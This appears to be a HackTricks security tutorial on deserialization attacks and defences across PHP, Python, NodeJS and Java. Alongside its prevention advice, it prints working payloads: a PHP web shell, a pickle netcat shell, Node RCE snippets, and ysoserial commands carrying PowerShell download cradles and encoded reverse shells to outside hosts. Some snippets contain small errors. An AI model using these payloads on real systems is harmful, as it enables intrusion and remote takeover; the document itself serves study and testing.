Deserialization

Reading time: 41 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Serialization는 객체를 보존 가능한 형식으로 변환하는 방법으로, 객체를 저장하거나 통신 과정에서 전송하기 위해 사용됩니다. 이 기법은 객체의 구조와 상태를 유지하면서 나중에 객체를 재생성할 수 있도록 보장하기 위해 일반적으로 사용됩니다.

Deserialization은 반대로 serialization을 되돌리는 과정으로, 특정 형식으로 구조화된 데이터를 가져와 객체로 재구성하는 것을 포함합니다.

Deserialization은 위험할 수 있는데, 잠재적으로 공격자가 직렬화된 데이터를 조작하여 악성 코드를 실행하거나 객체 재구성 과정에서 애플리케이션에 예기치 않은 동작을 일으킬 수 있기 때문입니다.

PHP

PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용됩니다:

  • __sleep: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 할 객체의 모든 속성 이름을 배열로 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
  • __wakeup: 객체가 역직렬화될 때 호출됩니다. 직렬화 과정에서 끊어진 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
  • __unserialize: 객체가 역직렬화될 때(존재하는 경우) __wakeup 대신 호출됩니다. __wakeup보다 역직렬화 과정에 대해 더 많은 제어를 제공합니다.
  • __destruct: 객체가 파괴되기 직전 또는 스크립트 종료 시 호출됩니다. 일반적으로 파일 핸들 또는 데이터베이스 연결을 닫는 등 정리 작업에 사용됩니다.
  • __toString: 객체를 문자열로 취급할 수 있게 해주는 메서드입니다. 객체 내부의 함수 호출에 따라 파일을 읽는 등의 작업에 사용될 수 있으며, 객체의 텍스트 표현을 제공합니다.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

결과를 보면 객체가 역직렬화될 때 함수 **__wakeup**와 **__destruct**가 호출되는 것을 확인할 수 있습니다. 일부 튜토리얼에서는 속성을 출력하려 할 때 __toString 함수가 호출된다고 나오지만, 현재는 더 이상 그렇지 않은 것 같습니다.

warning

클래스에 구현되어 있다면 메서드 **__unserialize(array $data)**가 __wakeup() 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 언시리얼라이즈할 수 있게 합니다. 이 메서드를 사용해 속성을 언시리얼라이즈하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

설명된 PHP 예제는 여기에서 읽을 수 있습니다: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, 여기 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 또는 여기 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP 역직렬화 + Autoload 클래스

PHP의 autoload 기능을 악용해 임의의 php 파일을 로드하는 등 더 많은 작업을 할 수 있습니다:

PHP - Deserialization + Autoload Classes

참조된 값 직렬화

어떤 이유로 값을 다른 값의 직렬화된 참조로 직렬화하고 싶다면 다음과 같이 할 수 있습니다:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

allowed_classes로 PHP Object Injection 방지

info

unserialize()두 번째 인자($options 배열)에 대한 지원은 PHP 7.0에서 추가되었습니다. 이전 버전에서는 이 함수가 직렬화된 문자열만 받기 때문에 어떤 클래스가 인스턴스화되는지를 제한할 수 없습니다.

unserialize()는 명시적으로 제한하지 않으면 직렬화 스트림 안에서 찾은 모든 클래스를 인스턴스화합니다. PHP 7 이후로 이 동작은 allowed_classes 옵션으로 제한할 수 있습니다:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

만약 allowed_classes가 생략되었거나 또는 코드가 PHP < 7.0에서 실행된다면, 이 호출은 위험해집니다. 공격자는 __wakeup() 또는 __destruct() 같은 매직 메서드를 악용하는 페이로드를 제작해 Remote Code Execution (RCE)을 달성할 수 있습니다.

실제 사례: Everest Forms (WordPress) CVE-2025-52709

WordPress 플러그인 Everest Forms ≤ 3.2.2는 도우미 래퍼로 방어하려 했지만 구버전 PHP를 고려하지 않았습니다:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

여전히 PHP ≤ 7.0를 실행하던 서버에서는 관리자가 악성 폼 제출을 열었을 때 고전적인 PHP Object Injection으로 이어졌다. 최소한의 exploit payload는 다음과 같을 수 있다:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

관리자가 해당 항목을 본 순간, 객체가 인스턴스화되고 SomeClass::__destruct()가 실행되어 임의 코드 실행이 발생했다.

요약

  1. unserialize()를 호출할 때 항상 ['allowed_classes' => false] (또는 엄격한 화이트리스트)를 전달하라.
  2. 방어용 래퍼를 감사하라 – 이들은 종종 레거시 PHP 분기를 잊는다.
  3. 단순히 PHP ≥ 7.x로 업그레이드하는 것만으로는 충분하지 않다: 해당 옵션은 여전히 명시적으로 제공되어야 한다.

PHPGGC (ysoserial for PHP)

PHPGGC는 PHP deserializations를 악용하기 위한 payloads 생성에 도움을 줄 수 있다.
여러 경우 애플리케이션의 소스 코드에서 deserialization을 악용할 방법을 찾지 못할 수 있지만 외부 PHP extensions의 코드를 악용할 수 있을 수도 있다.
가능하다면 서버의 phpinfo()를 확인하고 인터넷에서 검색하라 (심지어 PHPGGCgadgets까지) 악용 가능한 gadget을 찾아보라.

phar:// metadata deserialization

만약 LFI를 찾았고 그것이 파일을 읽기만 하고 내부의 php 코드를 실행하지 않는 경우(예: file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()를 사용하는 경우), phar 프로토콜을 사용해 파일을 읽을 때 발생하는 deserialization을 악용해 볼 수 있다.
자세한 정보는 다음 글을 읽어라:

phar:// deserialization

Python

Pickle

객체가 unpickle될 때, 함수 ___reduce___가 실행된다.
악용될 경우 서버가 에러를 반환할 수 있다.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

우회 기법을 확인하기 전에, python3를 사용 중이라면 print(base64.b64encode(pickle.dumps(P(),2)))를 사용해 python2와 호환되는 객체를 생성해 보세요.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn't have "magic" functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
JS는 객체 생성만으로 실행되는 PHP나 Python 같은 "magic" 함수들을 갖고 있지 않습니다. 하지만 직접 호출하지 않아도 자주 사용되는 몇몇 함수들(예: toString, valueOf, toJSON)이 존재합니다.

If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. deserialization을 악용하면, 이러한 함수들을 손상시켜 다른 코드를 실행하도록 만들 수 있습니다(잠재적으로 prototype pollutions를 악용하여). 이 함수들이 호출될 때 임의의 코드를 실행할 수 있습니다.

Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info. 함수를 직접 호출하지 않고도 호출하는 또 다른 "magic" 방법async function이 반환하는 객체를 손상시키는 것(promise)입니다. 반환 객체를 다른 promise변환하면서 함수 타입의 **"then"**이라는 property를 가진 객체로 만들면, 단순히 다른 promise에 의해 반환되었다는 이유만으로 그 "then"이 실행됩니다. 자세한 내용은 this link 를 확인하세요.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

이 기술에 대해 배우고 싶다면 다음 튜토리얼을 참고하세요:

NodeJS - proto & prototype Pollution

node-serialize

이 라이브러리는 함수를 직렬화할 수 있습니다. 예:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

다음은 serialised object의 모습입니다:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

앞서 언급했듯이, 이 라이브러리는 _$$ND_FUNC$$_ 이후의 코드를 가져와 eval을 사용해 실행합니다. 따라서 코드를 자동 실행하려면 함수 생성 부분과 마지막 괄호를 삭제하고, 다음 예시처럼 그냥 JS oneliner를 실행하면 됩니다:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here 더 많은 정보 about how to exploit this vulnerability.

funcster

특이한 점은 funcster에서 표준 내장 객체에 접근할 수 없다는 것입니다; 이들은 접근 가능한 범위 밖에 있습니다. 이 제한 때문에 내장 객체의 메서드를 호출하려는 코드를 실행할 수 없으며, console.log()require(something) 같은 명령을 사용할 때 "ReferenceError: console is not defined"와 같은 예외가 발생합니다.

이러한 제한에도 불구하고, 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근 권한은 특정 방법으로 복원할 수 있습니다. 전역 컨텍스트를 직접 활용하면 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하면 접근을 재설정할 수 있습니다:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

For more information read this source.

serialize-javascript

serialize-javascript 패키지는 오직 serialization 용도로만 설계되어 있으며, 내장된 deserialization 기능은 제공하지 않습니다. 사용자가 deserialization을 위한 자체적인 방법을 구현해야 합니다. 공식 예제에서는 serialized 데이터를 deserializing하기 위해 직접 eval을 사용할 것을 제안합니다:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

이 함수가 객체를 deserialize하는 데 사용된다면, 당신은 easily exploit it:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

자세한 내용은 이 출처를 읽어보세요

Cryo 라이브러리

다음 페이지들에서 이 라이브러리를 악용해 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:

Java - HTTP

Java에서는 deserialization callbacks가 deserialization 과정 중에 실행됩니다. 공격자는 이러한 콜백을 트리거하는 악성 페이로드를 조작하여 실행을 유도할 수 있으며, 이는 잠재적으로 유해한 동작의 실행으로 이어질 수 있습니다.

지문

화이트 박스

코드베이스에서 잠재적인 serialization 취약점을 식별하려면 다음을 검색하세요:

  • Serializable 인터페이스를 구현하는 클래스들.
  • java.io.ObjectInputStream, readObject, readUnshare 함수의 사용.

특히 주의할 점:

  • 외부 사용자가 정의한 파라미터와 함께 사용되는 XMLDecoder.
  • XStream 버전이 1.46 이하인 경우 직렬화 문제에 취약할 수 있는 XStreamfromXML 메서드.
  • ObjectInputStream과 함께 사용되는 readObject 메서드.
  • readObject, readObjectNodData, readResolve, readExternal 같은 메서드의 구현.
  • ObjectInputStream.readUnshared.
  • Serializable의 일반적인 사용.

블랙 박스

블랙 박스 테스트에서는 java 직렬화 객체(ObjectInputStream에서 유래)를 나타내는 특정한 서명 또는 "Magic Bytes" 를 찾아보세요:

  • 16진수 패턴: AC ED 00 05.
  • Base64 패턴: rO0.
  • HTTP 응답 헤더에서 Content-typeapplication/x-java-serialized-object로 설정된 경우.
  • 이전에 압축된 것을 나타내는 16진수 패턴: 1F 8B 08 00.
  • 이전에 압축된 것을 나타내는 Base64 패턴: H4sIA.
  • .faces 확장자를 가진 웹 파일과 faces.ViewState 파라미터. 웹 애플리케이션에서 이러한 패턴을 발견하면 post about Java JSF ViewState Deserialization에 자세히 설명된 대로 검사를 진행해야 합니다.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

취약 여부 확인

Java Deserialized exploit가 어떻게 동작하는지 배우고 싶다면 Basic Java Deserialization, Java DNS Deserialization, 및 CommonsCollection1 Payload를 참고하세요.

SignedObject-gated deserialization 및 pre-auth reachability

현대의 코드베이스는 종종 deserialization을 java.security.SignedObject로 감싸고 getObject()를 호출하기 전에 서명을 검증합니다(이는 내부 객체를 역직렬화합니다). 이는 임의의 top-level gadget classes를 방지하지만, 공격자가 유효한 서명을 획득할 수 있다면(예: private-key compromise 또는 signing oracle) 여전히 exploitable할 수 있습니다. 또한, 에러 처리 흐름에서 인증되지 않은 사용자에게 session-bound tokens를 발급하여 본래 보호된 sinks를 pre-auth 상태에서 노출시킬 수 있습니다.

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

이미 알려진 취약점이 있는 애플리케이션이 설치되어 있는지 확인할 수 있습니다.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

**java.lang.Runtime.exec()**용 페이로드를 만들 때, 실행 결과를 리디렉션하기 위한 ">"나 "|" 같은 특수 문자를 사용하거나, 명령을 실행하는 "$()"을 사용하거나, 공백(spaces)으로 구분된 인수를 명령에 전달할 수 없습니다 (예: echo -n "hello world"는 가능하지만 python2 -c 'print "Hello world"'는 불가능합니다). 페이로드를 올바르게 인코딩하려면 use this webpage.

다음 스크립트를 사용하여 Windows와 Linux에 대한 모든 가능한 코드 실행 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해보세요:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

다음 리포지토리 https://github.com/pwntester/SerialKillerBypassGadgetCollection을(를) ysoserial과 함께 사용하여 더 많은 exploits를 만들 수 있습니다. 이 도구가 소개된 발표의 슬라이드에서 더 많은 정보를 볼 수 있습니다: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec can be used to generate payloads to exploit different Json and Yml serialization libraries in Java.
프로젝트를 컴파일하려면 pom.xml에 이 의존성들을 추가해야 했습니다:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven을 설치, 그리고 프로젝트를 컴파일:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

이 Java JSON 라이브러리에 대해 더 읽어보세요: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

실습

이유

Java는 다음과 같은 다양한 목적으로 직렬화를 많이 사용합니다:

  • HTTP requests: 직렬화는 매개변수, ViewState, cookies 등 관리에 널리 사용됩니다.
  • RMI (Remote Method Invocation): Java RMI 프로토콜은 직렬화에 전적으로 의존하며, Java 애플리케이션에서 원격 통신의 핵심입니다.
  • RMI over HTTP: 이 방법은 Java 기반의 thick client web applications에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.
  • JMX (Java Management Extensions): JMX는 네트워크를 통한 객체 전송에 직렬화를 사용합니다.
  • Custom Protocols: Java에서는 표준적으로 raw Java objects를 전송하는 방식이 이용되며, 이는 다가오는 exploit 예제들에서 시연될 것입니다.

예방

Transient objects

Serializable을 구현하는 클래스는 직렬화하면 안 되는 클래스 내부의 어떤 객체든 transient로 표시할 수 있습니다. 예를 들면:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable을 구현해야 하는 클래스의 Serialization을 피하기

클래스 계층 때문에 특정 객체들이 Serializable을 구현해야 하는 경우, 의도치 않은 deserialization의 위험이 있습니다. 이를 방지하려면, 아래 예시처럼 항상 예외를 던지는 final readObject() 메서드를 정의하여 해당 객체들을 non-deserializable하게 만드세요:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Enhancing Deserialization Security in Java

**Customizing java.io.ObjectInputStream**는 deserialization 프로세스를 보호하기 위한 실용적인 접근법입니다. 이 방법은 다음과 같은 경우에 적합합니다:

  • deserialization 코드가 귀하의 제어 하에 있는 경우.
  • deserialization을 위해 예상되는 클래스들이 알려져 있는 경우.

허용된 클래스만 deserialization되도록 제한하려면 resolveClass() 메서드를 오버라이드하세요. 이렇게 하면 명시적으로 허용된 클래스 외에는 어떤 클래스도 deserialization되는 것을 방지할 수 있습니다. 다음 예제는 deserialization을 Bicycle 클래스만 허용하도록 제한합니다:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement은 코드 수정을 할 수 없을 때 대체 해결책을 제공합니다. 이 방법은 주로 blacklisting harmful classes에 적용되며, JVM 파라미터를 사용합니다:

-javaagent:name-of-agent.jar

이는 즉각적인 코드 변경이 현실적이지 않은 환경에서 deserialization을 동적으로 보호할 수 있는 방법을 제공합니다.

예제는 rO0 by Contrast Security에서 확인하세요.

Implementing Serialization Filters: Java 9은 ObjectInputFilter 인터페이스를 통해 serialization filters를 도입했습니다. 이 인터페이스는 직렬화된 객체가 deserialization 되기 전에 충족해야 하는 조건을 지정할 수 있는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 deserialization 프로세스에 대한 세밀한 제어가 가능합니다.

serialization filters를 사용하려면, 모든 deserialization 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들면:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

외부 라이브러리를 활용한 보안 강화: NotSoSerial, jdeserialize, Kryo와 같은 라이브러리는 Java deserialization을 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트/블랙리스트, deserialization 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현 등 추가적인 보안 계층을 제공할 수 있습니다.

  • NotSoSerial은 신뢰할 수 없는 코드의 실행을 방지하기 위해 deserialization 프로세스를 가로챕니다.
